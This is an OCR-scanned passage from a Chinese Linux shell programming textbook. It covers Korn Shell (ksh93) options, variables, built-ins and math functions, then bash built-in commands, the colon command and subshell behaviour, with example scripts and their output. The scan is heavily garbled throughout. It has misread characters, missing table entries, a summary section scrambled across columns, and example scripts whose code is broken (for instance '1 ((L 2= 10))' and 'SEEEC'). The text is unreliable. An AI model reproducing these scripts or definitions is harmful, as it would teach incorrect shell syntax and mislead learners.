UNIX 系统 下 应 用 广泛 ， 而 Linux 系统 则 很 少 使 用 。 尽 管 本 书 旨 在 介绍 Linux Shell 编程 ， 但 
是 ， 鉴 于 Korn Shell 的 重要 性 ， 本 节 还 是 对 Korn Shell 进行 简单 介绍 。 

Korn Shell 有 两 种 独立 的 版 本 : ksh88 和 ksh93， 由 于 IBM 的 AIX 系统 使 用 ksh93, 因此 ， 
ksh93 的 应 用 较为 广泛 ,我 们 以 ksh93 为 例 来 前 述 Kom Shell 的 特征 .Korn Shell 的 选项 与 bash 
比较 类 似 ，bash 的 一 些 选项 有 名 称 和 简写 0 Kormn Shell 的 很 多 选项 也 有 这 两 种 
表示 方式 ， 有 些 选 项 只 有 名 称 ， 而 有 些 选 项 只 有 简写 ， 下 面 的 表 11-8 列 出 了 ksh93 的 选项 及 
其 意义 。 


一 


























































































































































































































表 11-8 ksh93 的 选项 及 其 意义 
名 称 





allexport export 所 有 已 定义 的 变量 





将 命令 的 参数 赋 给 数组 变量 
当 作业 状态 变化 时 ， 显 示 作 业 完 成 信息 
bignice - 以 低 优 先 级 运行 后 台 作 业 
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bracexpand 





开启 花 括号 模式 域 生 成 功能 





从 … 中 读 取 命令 





上 上 从 截取 的 已 存在 文件 中 重 定向 














emacs 





更 用 emacs 编辑 模式 编辑 命令 行 





errexit 











如 果 命 令 返 回 非 零 值 ， 退 出 Shell 














止 文件 名 扩展 ， 即 禁用 通 配 (globbing) 


























上 用 通配符 s* 匹 配 文 件 和 目录 











trackall 





使 每 条 命令 成 为 可 跟踪 的 别名 








使 脚本 以 交互 模式 运行 





monitor 





使 后 台 作业 以 独立 进程 组 方式 运行 








noexec 


读 取 脚 本 中 的 命令 ， 进 行 语法 检查 ， 但 不 执行 这 些 命令 





notify 




















当 指 定 作业 的 状态 变化 时 ， 通 知 用 户 




















nounset 


将 未 初始 化 的 参数 当做 错误 














选项 名 称 设 置 Shell 选项 





privileged 





不 处 理 SHOME/.profile 文件 








以 profile 的 方式 打开 Shell 





以 限制 模式 打开 Shell 








生成 交叉 引用 数据 库 





将 所 有 的 输出 定向 到 文件 标 i 





verbose 





按 命 令 读 入 的 形式 显示 





Vi 


使 用 vi 编辑 模式 编辑 命令 行 





xtrace 





按 命 令 和 参数 执行 时 的 形式 显 








Korm Shell 开启 和 关闭 选项 的 命令 与 bash 相同 ， 用 名 称 开启 或 关闭 选项 需要 在 set 命令 





























后 加 上 -o 或 +o 选项 ， 也 可 以 在 set 命令 后 直接 加 选项 的 简写 来 开启 或 关闭 选项 。 



































Korn Shell 也 定义 了 一 些 内 部 变量 , 内 部 变量 格式 与 bash 一 样 ,只 是 变量 名 和 含义 与 bash 





存在 细微 的 

















区 别 ， 


























表 11-9 列 出 了 ksh93 的 内 部 变量 及 其 意义 。 








表 11-9 ksh93 的 内 部 变量 及 其 意义 


变量 名 称 





CDPATH 





COLUMNS 


编辑 模式 下 终端 的 宽度 以 字符 为 单位 ) 





EDITOR 


编辑 命令 行 的 默认 编辑 器 





ENV 


定义 参数 扩展 、 命 令 替 换 等 规范 的 文件 ， 一 般 是 SVHOME/kshrc 





FIGNORE 


当 匹 配 文 件 名 时 ， 所 要 忽略 的 文件 名 集合 

















鸡 数 的 搜索 路 径 
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HISTCMD history 文件 中 的 当前 命令 数量 


变量 名 称 


HISTEDIT history 文件 的 默认 编辑 器 








HISTFILE history 文件 的 路 径 

















HOME 户 的 默认 根 目录 
IFS 险 入 域 分 隔 符 ， 默 认 值 是 空格 、Tab 和 新 行 
LANG 于 未 包含 在 LC_ 变 量 中 函数 的 分 类 


LC _ALL 履 盖 LANG 和 所 有 LC 变量 的 值 















































LC_COLLATE 校对 所 用 的 语言 

















LC_CTYPE 处 理 字符 集 所 用 的 语言 

















LC_NUMERIC 处 理 小 数 点 所 用 的 语言 





LINES 终端 上 允许 出 现 的 行 数 








LINENO :在 处 理 的 脚本 行 














MAIL 的 邮箱 文件 名 称 








MAILCHECK 在 邮箱 文件 中 检查 新 邮件 的 间隔 时 间 














MAILPATH 用 逗号 分 隔 的 邮箱 文件 名 列表 ， 如 果 设 置 此 变量 ，MAIL 变量 的 值 将 被 覆盖 掉 
OLDPWD 前 一 个 工作 目录 的 值 


PATH 默认 的 搜索 可 执行 文件 的 路 径 


PPID 父 Shell 的 进程 ID 
























































PS1 日 于 设置 主 Shell 命令 提示 符 ， 默 认 是 $ 











PS2 于 设置 二 级 Shell 命令 提示 符 ， 默 认 是 > 





PS3 elect 语句 段 提 示 符 ， 默 认 是 加 
PS4 调试 信息 的 符 ， 默 认 是 + 


PWD 当前 工作 目录 人 


























RANDOM 性 次 被 访问 时 ， 生 成 一 个 随机 数 








SECONDS Shell 从 开 现在 的 时 间 











SHELL 当前 Shell 的 路 径 








TIMEFORMAT 显示 时 间 格 式 的 字符 串 





TMOUT 若非 0， 是 read 命令 











VISUAL 开启 emacs、gmac 或 vi 编辑 器 











加 


ksh93 的 以 LC_ 开 头 的 变量 是 用 于 系统 语言 的 ,可 将 Shell 语言 设置 为 中 文 。ksh93 与 bash 
一 样 文 持 四 级 提示 符 ， 分 别 用 PS1、PS2、PS3、PS4 设置 。 

Korn Shell 的 内 建 命令 继承 于 Bourne Shell， 因 此 ，Korn Shell 的 内 建 命令 与 dash、bash 
非常 相似 ， 而 且 Korn Shell 内 建 命令 的 数量 较 多 ， 表 11-10 列 出 了 Korn Shell 的 内 建 命令 及 
其 意义 。 
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表 11-10 ksh93 的 内 建 命令 及 其 意义 











bg 





buildin 


显示 所 有 的 





cd 














切换 当前 工 











执行 指定 命令 








将 作业 从 表 中 下 





打印 参数 








将 参数 作为 命令 再 次 处 理 一 过 








以 特定 程序 取代 Shell 或 为 Shell 改变 IO 





退出 Shell 





将 变量 声明 为 环境 变量 





以 1 退出 码 退 出 





多 





将 作业 置 于 前 台 运 行 





getconf 


显示 Shell 设置 参数 的 当前 值 





getops 





每 次 执行 时 从 一 个 字符 趾 中 玫 


A 得 下 一 个 选项 





hist 


显示 和 编辑 history 文件 





jobs 








显示 作业 列表 被 挂 起 的 作 


和 那些 正在 后 台 执 行 的 作业 ) 





kill 








向 进程 传送 信号 





let 


使 变量 执行 算术 运算 





print 


在 stdout 中 显 





printf 








更 用 C 语言 





pwd 














显示 当前 工作 














read 








从 标准 输入 中 读 入 一 行 





readonly 


将 变量 定义 为 只 读 





set 


设置 Shell 选项 





shift 


将 位 置 参 数 移 位 





sleep 


使 进程 休眠 指定 的 时 间 ( 以 秒 为 单位 》 





suspend 





中 止 Shell 的 执行 





trap 


设置 信号 捕捉 程序 





true 


以 0 退出 码 退 出 





typeset 











ulimit 


资源 的 限制 








umask 








文件 权限 码 





化 清 


远见 教 
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unalias 取消 别名 定义 





unset 取消 变量 或 函数 的 定义 





wait 等 待 后 台 作 业 完 成 


whence 显示 指定 命令 的 解析 方法 











从 表 11-10 可 以 看 出 ，Korn Shell 的 内 建 命令 与 bash 的 内 建 命令 极为 相似 ， 熟 悉 bash 的 
读者 能 认 出 大 部 分 的 Korn Shell 内 建 命令 。 

在 脚本 编程 方面 ，Korn Shell 又 继承 了 C Shell 的 优点 ， 支 持 算术 和 你 辑 运算 、if/then 结 
构 、for 循环 、while 循环 等 特性 。 值 得 一 提 的 是 ，ksh93 在 算术 运算 方面 比 其 他 的 Shell 具备 
优势 ，ksh93 不 仅 文 持 浮 点 运算 ， 而 且 还 定义 了 一 些 内 建 数学 函数 ， 便 于 用 户 进行 数值 计算 
程 ，ksh93 定义 的 内 建 数学 函数 如 表 11-11 所 示 。 

表 11-11 ksh93 内 建 的 数学 函数 及 其 意义 
选 项 名 


abs(x) 计算 x 的 乡 
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acos(x) 计算 x 的 余弦 什 














asin(x) 计算 x 的 正弦 值 























atan(x) 计算 x 的 正切 但 




















atan2(y,x) 计算 yx 的 正切 值 _(y/ 



































cos(x) 计算 x 的 余弦 值 (x 























cosh(x) 计算 x 的 双 曲 余弦 值 (x 
exp(x) x 为 指数 
floor(x) x 的 向 下 取 整 

fmod(x,y) x/y 的 浮 点 余数 

hypot(x,y) 计算 直角 边 长 度 为 x 和 y 的 直角 三 角形 的 斜 边 长 度 
int(x) 在 区 间 [0,x] 上 的 最 大 整数 



















































































log(%) 计算 x 的 自然 对 妆 








pow(b,e) 计算 b 孙 














sin(x) t 和 正弦 介 月 度 表示 ) 








sinh(x) i 的 双 曲 正弦 值 弧度 表示 ) 












































tan(x) t E 自 度 表示 ) 









































tanh(x) 计算 x 辫 弧度 表示 ) 

















Korn Shell 的 选项 、 内 部 变量 和 内 建 命令 都 与 bash 很 相似 ， 易 于 读者 掌握 。 相 比 于 bash， 
Korn Shell 更 适合 用 于 脚本 编程 ， 因 为 Korn Shell 不 仅 继 承 了 C Shell 中 的 很 多 C 语言 风格 的 
编程 优点 ， 还 增加 了 浮 点 数 运算 和 很 多 数学 函数 。 很 多 UNIX 系统 使 用 的 是 Korn Shell， 而 
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Li 


dash、 


[in1y 





首先 概述 了 Linux/UNIX Shell 站 十 源 和 分 2， 
ee 内 部 变量 和 内 建 命令 三 
tcsh、ksh93 的 特点 总 结 如 下 。 














个 角 


度 进 











然后 , 选择 了 三 种 具有 代表 性 的 Shell， 
行 介绍 ， 并 着 重 于 bash Shell 的 比较 和 分 析 ， 


@ dash: 起 源 于 Bourne Shell， 人 简化 了 Bourne Shell， 由 于 bash 融合 了 Bourne Shell 的 


特性 。 








@ tcsh: 





令 都 与 bash 存在 较 大 的 区 别 ， 尤 其 在 内 部 变量 方面 
量 和 系统 环境 变量 两 类 
for 循环 、while 循环 、switch 结构 等 C 语言 风格 的 特征 
而 ，tcsh 是 一 种 非常 适合 
于 IBM AIX 系统 使 用 ksh93， 使 得 ksh93 成 为 最 
容 Bourne Shell 和 C Shell 的 诸多 特征 , 在 Shell 选项 、 
命令 等 方面 ,ksh93 与 bash 非常 类 似 ;ksh93 还 支持 数组 变量 
for 循 j 





些 特 征 ， 医 
@ ksh93: 
Korn Shell 者 


结构 、 


起 源 于 


C Shell, 






























































。 但 是 ，tcsh 支持 数组 变量 、 


























，bash I 上 
C 语言 程序 员 掌 握 的 编程 性 



























































所 、while 循环 、switch 结构 等 C 语 言 风格 的 特征 ， 而 





























学 计算 方面 的 功能 强大 ， 增 加 了 浮 点 数 运 





因而 ，bash 包含 了 dash 几乎 所 有 的 特性 ，dash 可 以 看 做 是 bash 的 精简 版 本 。 
它 与 Bourne Shell 截然 不 同 ，Shell 选项 、 内 部 变量 和 内 建 命 
面 ，tcsh 的 内 部 变量 包含 Shell 变 
算术 和 逻辑 运算 、ibthen 结构 、 
是 继承 了 tcsh 的 这 
Shell 。 
具 代 表 性 的 Korn Shell， 
内 部 变量 和 内 建 
量 、 算 术 和 逻辑 运算 ipthen 
，ksh93 在 数 














一 














去 算 和 很 多 内 建 数 学 函数 ， 便 





数学 方面 的 程序 。 


Linux 是 





户 对 作业 的 


一 种 用 户 控 
同时 提交 作业 ,而 一 个 

户 可 以 用 一 个 Shell 提交 多 个 作业 ，Linux 是 怎样 对 如 此 复杂 的 用 户 、 
Shell 和 作业 进行 管理 呢 ? bash Shell 又 提供 
空 制 呢 ? 














制 的 多 作业 操作 系统 , 系统 允许 多 个 系统 用 户 
系统 用 户 又 可 能 用 多 个 Shell 登录 , 每 个 系统 用 






































了 哪些 命令 与 机 种 





| 方便 用 


本 章 将 系统 曾 述 bash Shell 0 
与 机 制 。 





首先 ， 介 














Shells 由于 Shell 寺内 fr 仿 宪 妆 相 2。 轩 




























































































此 , fe 1 内 建 命令 进行 了 总 结 , 然后， 详细 讨论 和 
用 圆 指 且 4 天 寻 是 在 8hel， 其 次 ， 介 绍 Shell 限 条 人 
使 脚本 运行 在 限制 模式 下 的 两 种 方法 ; 最 后 , 介绍 bash Shell 在 进程 处 
青 产 而 的 全 人 和 机 年 | 小 肪 进 租 和 作业 后 要 仿 ”作业 控 币 全 仿 ” 倍 号 
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子 Shell 人 


父子 Shell 是 相对 的 , 它 描述 了 两 个 Shell 进程 的 fork 关系 , 父 Shell 指 在 控制 终端 或 xterm 
窗口 给 出 提示 符 的 进程 ， 子 Shell 是 由 父 Shell 创建 的 进程 。 在 Linux 中 ， 只 有 一 个 函数 可 以 
创建 子 进程 ， 那 就 是 著名 的 fork 函数 。 因 此 ， 父 Shell 创建 子 Shell 调用 的 是 fork 函数 。 

Shell 命令 可 分 为 内 建 命令 (built-in command) 和 外 部 命令 (external command)， 内 建 命 
令 是 由 Shell 本 身 执行 的 命令 ， 而 外 部 命令 由 fork 创建 出 来 的 子 Shell 执行 ， 简 言 之 ， 两 者 的 
区 别 在 于 : 内 建 命令 不 创建 子 Shell， 外 部 命令 创建 子 Shell。 正 因为 如 此 ， 内 建 命令 的 执行 
速度 要 比 外 部 命令 快 。 

子 Shell 概念 与 内 建 命令 和 外 部 命令 的 区 分 有 关系 。 因 此 ， 本 节 首 先 介 绍 bash Shell 的 内 
建 命令 ， 然 后 介绍 生成 子 Shell 的 圆 括号 结构 。 


12.1.1 ”内 建 命 倒 


内 建 命令 就 是 包含 在 bash Shell 工具 包 中 的 命令 ， 内 建 的 英文 单词 built-in 也 说 明了 这 一 
点 。 内 建 命令 可 以 说 是 bash Shell 的 骨干 部 分 , 除 此 之 外 ,保留 字 (reserved words ) 也 是 bash 
Shell 的 骨干 部 分 , 保留 字 对 于 bash Shell 具有 特殊 的 含义 ， 用 来 构建 Shell 语法 结构 , for、 if、 
then、while、until 等 都 是 保留 字 , 但 是 , 保留 字 本 和 映 不 是 一 个 命令 ， 而 是 命令 结构 的 一 部 分 。 
我 们 按照 字母 排序 将 bash Shell 的 内 建 命令 和 保留 字 列 在 表 12-1 中 。 

表 12-1 bash Shell 的 内 建 命令 和 保留 字 































































































































































































保留 字 ， 逻 辑 非 

不 做 任何 事 , 只 做 参数 展开 

读 取 文件 ， 并 在 当前 Shell 中 执行 它 
设置 命令 或 命令 行 的 别名 

bg 将 作业 置 于 后 全 运行 


bind 将 关键 字 序 列 与 readline 函数 或 宏 绑 定 


























break 保留 字 ， 跳 出 for、while、until、select 循环 











builtin 调用 命令 的 内 建 命令 格式 ， 而 禁用 同名 的 函数 ， 或 者 同名 的 扩展 命令 

















case 保留 字 ， 多 重 选 择 
cd 六 换 当前 工作 目录 
command 出 内 建 和 外 部 命令 ， 寻 找 内 建 命令 而 非 同 名 函数 


continue 保留 字 ， 到 达 下 一 次 for、while、until、select 循环 









































declare i 明 变量 ， 定 义 变量 属性 
显示 当前 存储 目录 的 列表 
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disown 


将 作业 从 表 中 移 除 











、while、until、select 循环 的 一 部 分 





、while、until、select 循环 的 一 部 分 








保留 字 ， 站 结构 的 一 部 分 





果 留 字 ， 寺 结构 的 一 部 分 





开启 和 关闭 内 建 命 令 





保留 字 ，case 的 一 部 分 








将 参数 作为 命令 再 次 处 理 一 过 





以 特定 程序 取代 Shell 或 为 Shell 改变 IO 





退出 Shell 





将 变量 声明 为 环境 变量 





$ 历 史 一 起 运行 








将 作业 置 于 前 台 运 行 





保留 字 ， 站 结构 的 一 部 分 











保留 字 ，for 循环 的 一 部 分 





function 


2 > | 


定义 一 个 函数 





getops 


处 理 命令 行 选项 





hash 





help 





history 




















向 进程 传送 信号 





使 变量 执行 算术 运算 





local 





定义 局 部 变量 





logout 


从 Shell 中 注销 








popd 














从 目录 栈 中 弹出 目录 














pushd 














将 目录 压 入 目录 栈 











pwd 





日 未 当前 通 三 医 
还 不 习 且 -LiF 月 水 


























read 





从 标准 输入 中 读 入 一 行 





readonly 


将 变量 定义 为 只 读 

















从 函数 或 脚本 中 返 巴 


























见 


远见 教 























官网 : www. hqyj. com 








《Linux Shell 编程 从 初学 到 精通 》 














设置 Shell 选项 


shift 变换 命令 行 参数 











suspend 中 止 Shell 的 执行 
test 评估 条 件 表达 式 


then 保留 字 ， 站 结构 的 一 部 分 











time 保留 字 ， 输 出 统计 出 来 的 命令 执行 时 间 ， 其 输出 格式 由 TIMEFORMAT 变量 来 控制 





























times 针对 Shell 及 其 子 Shell， 显 示 用 户 和 系统 CPU 的 时 间 之 和 











trap 设置 信号 捕捉 程序 


type 确认 命令 的 源 














typeset 声明 变量 ， 定 义 变量 属性 ， 与 declare 等 价 











ulimit 设置 和 显示 进程 占用 资源 的 限制 











umask 设置 和 显示 文件 权 














unalias 区 消 别名 定义 





unset 取消 变量 或 函数 的 定义 





until 保留 字 ， 一 种 循环 结构 


wait 等 待 后 台 作业 完成 














while 留 字 ， 一 种 循环 结构 











表 12-1 所 列 出 的 Shell 内 建 命令 中 有 很 大 一 部 分 在 前 面 的 章节 中 已 经 介绍 过 ， 后 面 章节 
将 对 剩余 的 内 建 命令 进行 介绍 ， 因 此 ， 本 节 不 再 逐个 介绍 表 12-1 所 列 出 的 Shell 内 建 命令 ， 

只 专门 讲述 内 建 命令 冒号 的 用 法 。 
冒号 是 bash Shell 中 一 个 特殊 的 符号 ， 而 且 其 应 用 十 分 灵活 。 首 先 ， 冒 号 可 以 表示 永 真 ， 
相当 于 TRUE 关键 字 , 下 面 的 例 12-1 中 的 conlon.sh 脚本 演示 了 冒号 表示 永 真 的 用 法 ,conlon.sh 
脚本 的 内 容 如 下 : 


# 例 12-1: conlon.sh 脚本 演示 冒号 表示 永 真 的 用 法 
#!/bin/bash 



































































































































i=0 
while : # 冒 号 相当 于 TRUE 
do 
1 ((L 2= 10)) #i 大 于 或 等 于 10 时 ， 跳 出 while 循环 
then 
break 
了 
EL 
done 





conlon.sh 脚本 利用 while 循环 打印 1 一 10 的 整数 ，while 循环 的 条 件 是 使 用 了 冒号 ， 此 时 
冒号 就 表示 永 真 , 即 while 循环 永远 执行 下 去 , while 循环 体内 使 用 if/then 结构 判断 跳出 while 
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循环 的 条 件 。 下 面 给 出 conlon.sh 脚本 的 执行 结果 。 

# 例 12-1 conlon .sh 脚本 的 执行 结果 

[root@jselab shell-book]# chmod u+x conlon.sh # 赋 予 conlon. sh 脚本 可 执行 权限 
root@jselab shell-book]# ./conlon.sh # 执 行 conlon. sh 脚本 











t 
TT 
UD 











0 
其 次 ， 冒 号 可 以 清空 一 个 文件 。 下 面 给 出 利用 冒号 清空 文件 用 法 的 例子 ，loggg 文件 
原来 包含 一 行文 字 ， 我 们 用 :>loggg 命令 将 冒号 重 定 向 到 文件 后 ，loggg 文件 内 容 被 清空 ，:> 
命令 是 常用 的 清空 文件 的 命令 。 
例 12=2: 利用 由 号 清 空 文件 
















































































root@jselab shell-book]# cat loggg #1oggg 文件 一 开始 是 有 内 容 的 
Positional Parameter is NULL 

root@jselab shell-book]# :>loggg # 将 冒号 重 定向 到 文件 并 将 文件 清空 
Feoee el nmeonY oN #1oggg 文件 确实 已 经 清空 
root@jselab shell-book] 

冒号 最 重要 的 用 法 是 : 不 做 任何 事 ， 只 做 参数 展开 。12.1.2 节 的 subscolsh 脚本 将 对 这 种 


















































用 法 进行 详细 解释 ， 在 这 里 不 再 详细 介绍 。 


12.1.2 圆 括号 结构 


司 括号 结构 能 够 强制 将 基 中 的 命令 运行 在 子 Shell 中 ， 它 的 基本 格式 为 : 


command 1 








3 











command 2 


command n 





) 

上 述 结构 表示 圆 括 号 内 的 n 条 命令 在 子 Shell 中 运行 ，bash 版 本 3 之 后 定义 了 内 部 变量 
BASH SUBSHELL， 该 变量 记录 了 子 Shell 的 层次 。 下 面 我 们 举例 说 明 圆 括号 结构 的 用 法 及 
BASH_SUBSHELL 变量 。 新 建 名 为 subsvar.sh 的 脚本 ， 内 容 如 下 : 


# 例 12-3: subsvar .sh 脚本 演示 圆 括 号 结构 用 法 和 BASH_SUBSHELL 变量 
#!/bin/bash 









































echo "The level of father Shell is: $BASH SUBSHELL" # 打 印 父 Shel1 的 层次 
outervar=OUTER # 定 义 一 个 变量 

( # 进 入 子 Shel1 

echo "The level of SubShell is: $BASH SUBSHELL" 

innervar=INNER # 在 子 Shell 内 定义 一 个 变量 





echo “innervar=$innervar" 
echo "outervar=$outervar" 
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# 回 到 父 Shel1l 
echo "The level of father Shell is: $BASH SUBSHELL™ 








if [ =z "$innervar™ ] # 测 试 子 Shell 中 定义 的 变量 是 否 为 空 
then 
echo "The \$innervar is not defined in main body." 
else 
echo The \Jinnervar is defined in main Body.™ 
EL 


subsvar.sh 脚本 首先 在 父 Shell 中 打印 $BASH SUBSHELL 的 值 ， 从 subsvar.sh 脚本 的 执 
行 结果 可 以 看 到 ， 父 Shell 的 SBASH SUBSHELL 值 为 0， 然后 父 Shell 定义 变量 outervar。 接 
者 利用 圆 括 号 结构 创建 子 Shel， 打 印 子 Shell 的 SBASH_ SUBSHELL ， 子 Shell 的 
$BASH SUBSHELL 值 为 1， 然后 在 子 Shell 中 定义 变量 innervar， 并 在 子 Shell 中 同时 打印 
innervar 和 outervar，innervar 的 值 就 是 子 Shell 所 赋 的 值 ，outervar 继承 了 父 Shell 所 赋 给 它 的 
。 圆 括号 结构 执行 结束 就 返回 到 父 Shell，if/then 结构 测试 子 Shell 中 定义 的 变量 innervar 
硬 为 室 ， 结 果 输 出 innervar 变量 未 定义 的 信息 ， 说 明 innervar 为 空 值 ， 这 说 明子 Shell 中 变 
对 父 Shell 是 不 可 见 的 。 
例 12-3 subsvar .sh 脚本 的 执行 结果 


root@jselab shell-book]# chmod u+x subsvar.sh 

































































































































































是 部 语 








root@jselab shell-book]# ./subsvar.sh 


The level of father Shell is: 0 # 父 Shell 的 BASH SUBSHELL 值 
mneolevelo usnenn sl # 子 Shell 的 BASH SUBSHELL 值 
innervar=INNER 

outervar=OUTER # 子 She11 能 使 用 父 shell 定义 的 变量 


The level of father Shell is: 0 
子 Shell 定义 的 变量 innervar 在 父 Shell 中 为 空 ， 说 明子 She11 中 变量 对 父 Shel11 是 不 可 见 的 
The $innervar is not defined in main body. 


从 subsvar.sh 脚本 的 执行 结果 也 可 以 看 出 ，BASH SUBSHELL 是 从 0 开始 计数 的 整数 ， 
它 依 次 记录 子 Shell 的 层次 。 

既然 子 Shell 变 量 的 作用 域 不 能 在 父 Shell 中 生效 ,那么 ,如 果 我 们 在 子 Shell 中 将 变量 export 
改 为 环境 变量 ， 该 变量 能 和 否 在 父 Shell 中 生效 呢 ? 新 建 名 为 subsep.sh 的 脚本 ， 内 容 如 下 : 


# 例 12-4: subsep.sh 脚本 测试 子 Shell 定义 环境 变量 是 否 对 父 Shell 有 效 
#!/bin/bash 



















































































# 在 父 Shell 中 定义 变量 outervar 

-二 三 三 三 三 三 三 三 三 TMATNSHEGe se 人 
outervar=OUTER 

echo "outervar=$outervar" 














( # 进 入 子 Shell 

CC TNESUBSEEDL 由 
innervar=INNER 

echo “innervar=$innervar™ 
outervar=OUTER-INNER # 更 改 父 Sshell 所 定义 的 outervar 变量 值 
echo "outervar=$outervar" 








# 将 innervar 和 outervar 声明 为 环境 变量 
export innervar 
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圆 括号 结构 执行 结束 返回 父 Shell 后 ， 输 出 innervar 和 outervar 的 值 ， 测 试 是 否 与 子 Shell 中 
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export outervar 


) 


# 回 到 父 she11， 测 试 ijnnervar 和 outervar 的 值 是 否 与 子 Shell 中 的 定义 一 样 
EE W============ RETURN To MAINGHELL================ " 


echo “innervar=$innervar" 
echo "outervar=$outervar" 


subsep.sh 脚本 定义 outervar 变量 , 利用 圆 括 写 结构 创建 子 Shell 后 , 子 Shell 定义 innervar 
量 ， 并 更 改 outervar 变量 值 ， 然 后 利用 export 命令 将 innervar 和 outervar 声明 为 环境 变量 ， 
























































定义 的 一 致 。 下 面 给 出 subsep.sh 脚本 的 执行 结果 ， 父 Shell 定义 outervar， 其 值 为 OUTER， 
子 Shell 定义 innervar ， 赋 值 为 INNER， 并 将 父 Shell 所 定义 的 outervar 的 值 改 为 
OUTER-INNER。 返 回 父 Shell 后 ，innervar 为 空 值 ，outervar 仍 为 原来 的 值 : OUTER， 这 充 
分 说 明了 尽管 子 Shell 将 innervar 和 outervar 声明 为 环境 变量 ， 但 是 子 Shell 对 innervar 的 定 
义 和 对 outervar 的 更 改 仍 然 对 父 Shell 不 可 见 。 










































































# 例 12-4 subsep .sh 脚本 的 执行 结 
[root@jselab shell-book]# chmod utx subsep.sh 
[root@jselab shell-book]# ./subsep.sh 





# 下 面 打 印 子 Shell 中 ijnnervar 和 outervar 变量 的 值 
innervar=INNER 
outervar=OUTER-INNER 


innervar= 
outervar=OUTER 
# 父 Shell 中 ijnnervar 为 空 ，outervar 仍 为 原来 的 值 ， 这 说 明子 she1ll 对 两 个 变量 的 

# 定 义 和 更 改 对 父 Shel1 不 起 作用 

上 述 两 个 例子 说 明子 Shell 只 能 继承 父 Shell 的 一 些 属性 ， 但 是 ， 子 Shell 不 可 能 反 过 来 

















改变 父 Shell 的 属性 ， 子 Shell 能 够 从 父 Shell 继承 得 来 的 属性 如 下 : 








@ 当前 工作 目录 。 
标准 输入 、 标 准 输出 和 标准 错误 输出 。 
所 有 已 打开 的 文件 标识 符 。 

@ 忽略 的 信号 《将 在 12.4 节 中 阐述 )。 
同样 重要 的 是 ， 子 Shell 不 能 从 父 Shell 继承 得 来 的 属性 归纳 如 下 : 
@ 除了 环境 变量 和 .bashrc 文件 中 定义 变量 之 外 的 Shell 变量 。 
@ 未 被 忽略 的 信号 处 理 〈 将 在 12.4 节 中 阅 述 )。 
因此 ， 子 Shell 能 够 设置 独立 于 父 Shell 的 子 环 境 ， 例 12-5 是 一 个 子 Shell 设 定 Shell 选 























































































































项 的 例子 ， 新 建 名 为 subsenv.sh 的 脚本 ， 内 容 如 下 : 








# 例 12-5: subsenv .sh 脚本 演示 子 Shel1l 设 定 bash Shell 选项 的 用 法 
#!1/bin/bash 














(全 Xe 
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SEEEC # 开 局 -C 选项 ， 防 止 重 定向 时 覆盖 文件 
ET # 试 图 用 冒号 清空 outputnull 文件 
) 











# 在 父 She11 宪 盖 一 个 文件 ， 测 试 子 Shell 开启 的 -c 选项 是 否 对 父 Shell 生效 
eae usenve sn ou En 
subsenv.sh 脚本 进入 子 Shell 后 ， 用 set 命令 开局 -C 选项 ，-C 选项 的 意义 是 防止 午 定 问 时 
覆盖 文件 ， 然 后 利用 “:>” 命 令 试图 清空 outputnull 文件 ， 从 下 面 的 subsenv.sh 脚本 执行 结果 
可 看 出 ， 执 行 subsenv.sh 脚本 时 出 现 错误 ， 提 示 第 6 行 出 错 ， 错 误 类 型 为 不 能 堵 盖 已 存在 的 
文件 ， 这 正 是 -C 选项 对 子 Shell 产生 的 作用 。 而 outputnull 文件 中 则 存放 了 subsenv.sh 脚本 本 
号 的 内 容 ， 这 是 由 subsenv.sh 脚本 最 后 一 名 命令 在 父 Shell 下 执行 号 入 的 ， 这 说 明子 Shell 设 
置 的 -C 选项 对 其 父 Shell 不 产生 任何 作用 。 
例 12-5 subsenv .sh 脚本 的 执行 结果 
root@jselab shell-book]# chmod u+x subsenv.sh 
root@jselab shell-book] ./subsenv.sh 
/suesenv sh ine ne oueouvenu eanneoe overwee exten Ele 
提示 执行 脚本 第 6 行 时 出 错 ， 不 能 履 盖 已 存在 的 文件 
这 说 明 set -Cc 在 子 Shell 中 已 经 起 作用 
rootejselao snell Booxrlt ceat outoutnull # 查 看 outputnull 内 容 ， 为 subsenv .sh 脚本 本 身 
# 这 说 明 父 Shel1l 仍 能 覆盖 文件 ，set -Cc 不 起 作用 












































































































































subsenv.sh 脚本 : 子 Shell 设 定 bash Shell 选项 









































!/bin/bash 
C+ 进入 了 Se 
set -C # 开 局 -C 选项 ， 防 止 重 定向 时 履 盖 文件 
ET # 试 图 用 冒号 清空 outputnull 文件 




















) 


# 在 父 Shel1 覆盖 一 个 文件 ， 测 试 子 Shel11 开启 的 -c 选项 是 否 对 父 Shel1 生效 
ea Sussenv sh ove en 


[root@jselab shell-book]# 
在 解释 清楚 父子 Shell 的 关系 之 后 ， 下 面 再 举 几 个 例子 说 明子 Shell 的 应 用 。 首 先 ， 我 们 
给 出 一 个 利用 子 Shell 测试 变量 是 否 已 经 定义 的 例子 , 新 建 名 为 subscol.sh 的 脚本 , 内 容 如 下 : 


# 例 12-6: subscol .sh 脚本 演示 利用 子 Shell 测试 变量 是 否定 义 过 
#!1/bin/bash 















































if (set -u; : $var) # 干 万 别 小 看 冒号 的 作用 。 注 意 ; 冒号 与 $ 之 间 有 空格 
then 

echo “Variable is set." 
1 








subscol.sh 脚本 的 核心 部 分 在 于 if/then 结构 的 条 件 ,其 中 包括 两 条 命令 “set -u” 和 和 “: $var”， 
set -u 命令 用 于 设置 Shell 选项 ，u 选项 是 nounset 的 意思 ， 表 示 当 使 用 未 定义 的 变量 时 ， 输 
出 错误 信息 ， 并 强制 退出 。“: $var” 命 令 的 主角 是 冒号 ， 此 时 冒号 的 意思 是 “不 做 任何 事 ， 
只 做 参数 展开 ”， 如 果 没 有 冒号 ， 根 据 10.3 节 的 分 析 ，Shell 最 终 将 命令 行 的 第 1 个 令 牌 解释 
为 Shell 命令 ,， 这 里 就 是 $var， 即 Shell 试图 去 执行 var 变量 的 值 。 但 是 ， 加 上 冒号 之 后 ，Shell 
只 试图 将 var 变量 进行 参数 展开 ， 即 变量 替换 ， 但 不 试图 去 执行 var 变量 的 值 。 因 此 ， 如 果 
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个 全 今 





去 掉 “: $var” 中 的 冒号 ,车 var 变量 的 值 不 是 


























命令 ，Shell 将 报 “ 找 不 到 此 命令 ”的 错误 。 


下 面 给 出 subscol.sh 脚本 的 执行 结果 ， 首 先 将 var 变量 定义 为 环境 变量 ， 在 执行 subscol.sh 脚 








本 时 ， 返 回 变量 已 经 定义 。 
# 例 12-6 subscol.sh 脚本 的 执行 结果 
[root@jselab shell-book]# var=2010 
[root@jselab shell-book]# export var 
[root@jselab shell-book]# ./subscol.sh 
Variable 本 SS 





# 将 var 声明 为 环境 变量 





# 该 脚本 能 测试 出 var 已 经 定义 








